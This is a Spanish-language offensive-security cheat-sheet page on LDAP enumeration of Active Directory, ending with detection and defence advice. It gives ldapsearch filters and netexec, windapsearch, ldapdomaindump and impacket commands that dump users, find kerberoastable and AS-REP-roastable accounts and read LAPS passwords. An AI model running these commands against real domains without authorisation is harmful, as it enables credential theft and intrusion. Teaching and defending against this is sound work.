the_open_door
café
ESEN
← Volver al índice

LDAP Enumeration

Arsenal completo de comandos en la cheatsheet

La enumeración por LDAP consulta el servicio de directorio de Active Directory (puertos 389/636) para dibujar el dominio entero: usuarios, grupos, equipos, descripciones, SPNs y ACLs. Muchas veces se puede hacer con una sesión anónima o con cualquier credencial de dominio, sin privilegios.

Por qué funciona. Active Directory ES una base de datos LDAP: todo objeto (cuenta, grupo, GPO) vive en el árbol con sus atributos. Por diseño, un usuario autenticado puede leer casi todo el directorio, y algunos entornos permiten el anonymous bind. Los administradores además dejan datos sensibles en campos legibles: la contraseña temporal en el atributo description, cuentas de servicio con SPN (kerberoasteables) o el flag DONT_REQUIRE_PREAUTH (AS-REP roasteables).

El abuso. Se pregunta al directorio por lo que interesa y se filtra por atributos concretos.

Comprobar el bind y el naming context

ldapsearch -x -H ldap://<ip> -s base namingContexts        # bind anonimo: sacar el DN base
ldapsearch -x -H ldap://<ip> -b "DC=<domain>,DC=local"     # volcar todo (si el anonimo lee)
ldapsearch -x -H ldap://<ip> -D "<user>@<domain>" -w '<pass>' -b "DC=<domain>,DC=local"   # autenticado

Consultas útiles por objetivo

Cada línea es un filtro LDAP distinto según lo que se busque (usuarios, contraseñas en description, kerberoasteables, AS-REP roasteables, admins, delegación, LAPS):

ldapsearch ... "(objectClass=user)" sAMAccountName description
ldapsearch ... "(&(objectClass=user)(description=*))" sAMAccountName description   # secretos en description
ldapsearch ... "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName   # kerberoast
ldapsearch ... "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" sAMAccountName   # AS-REP (no preauth)
ldapsearch ... "(&(objectClass=user)(adminCount=1))" sAMAccountName   # cuentas protegidas (admins)
ldapsearch ... "(userAccountControl:1.2.840.113556.1.4.803:=524288)" sAMAccountName   # trusted for delegation
ldapsearch ... "(objectClass=computer)" dNSHostName operatingSystem   # equipos y su SO
ldapsearch ... "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd sAMAccountName   # LAPS (si tenemos permiso de lectura)

Herramientas de volcado

netexec ldap <ip> -u <user> -p <pass> --users --groups
netexec ldap <ip> -u <user> -p <pass> --kerberoasting kb.txt --asreproast asrep.txt
windapsearch.py --dc-ip <ip> -u <user>@<domain> -p <pass> --da   # domain admins
ldapdomaindump -u '<domain>\<user>' -p '<pass>' <ip> -o loot     # HTML navegable
GetADUsers.py -all <domain>/<user>:<pass> -dc-ip <ip>            # impacket

Requisitos. Alcance a LDAP/LDAPS y, o bien un anonymous bind permitido, o bien una credencial de dominio cualquiera. Sin ninguna de las dos, el bind falla y no se lee nada.

Cómo detectarlo. El patrón es un volumen alto de consultas LDAP desde un solo host, binds anónimos y búsquedas con filtros amplios (objectClass=*, servicePrincipalName=*). Los eventos 1644 de diagnóstico de LDAP y las firmas de herramientas (windapsearch, BloodHound) delatan la recolección masiva; un pico de lecturas al atributo description de muchas cuentas también es sospechoso.

Defensa. Deshabilitar el anonymous bind, no guardar contraseñas en description, aplicar mínimo privilegio sobre atributos sensibles y monitorizar la recolección masiva. Es el paso previo a BloodHound, al Password Spraying y al RID cycling; distinta de la inyección LDAP en aplicaciones web.

Herramientaswindapsearchbloodhound-pythonadidnsdumpPingCastle

Máquinas donde se aplica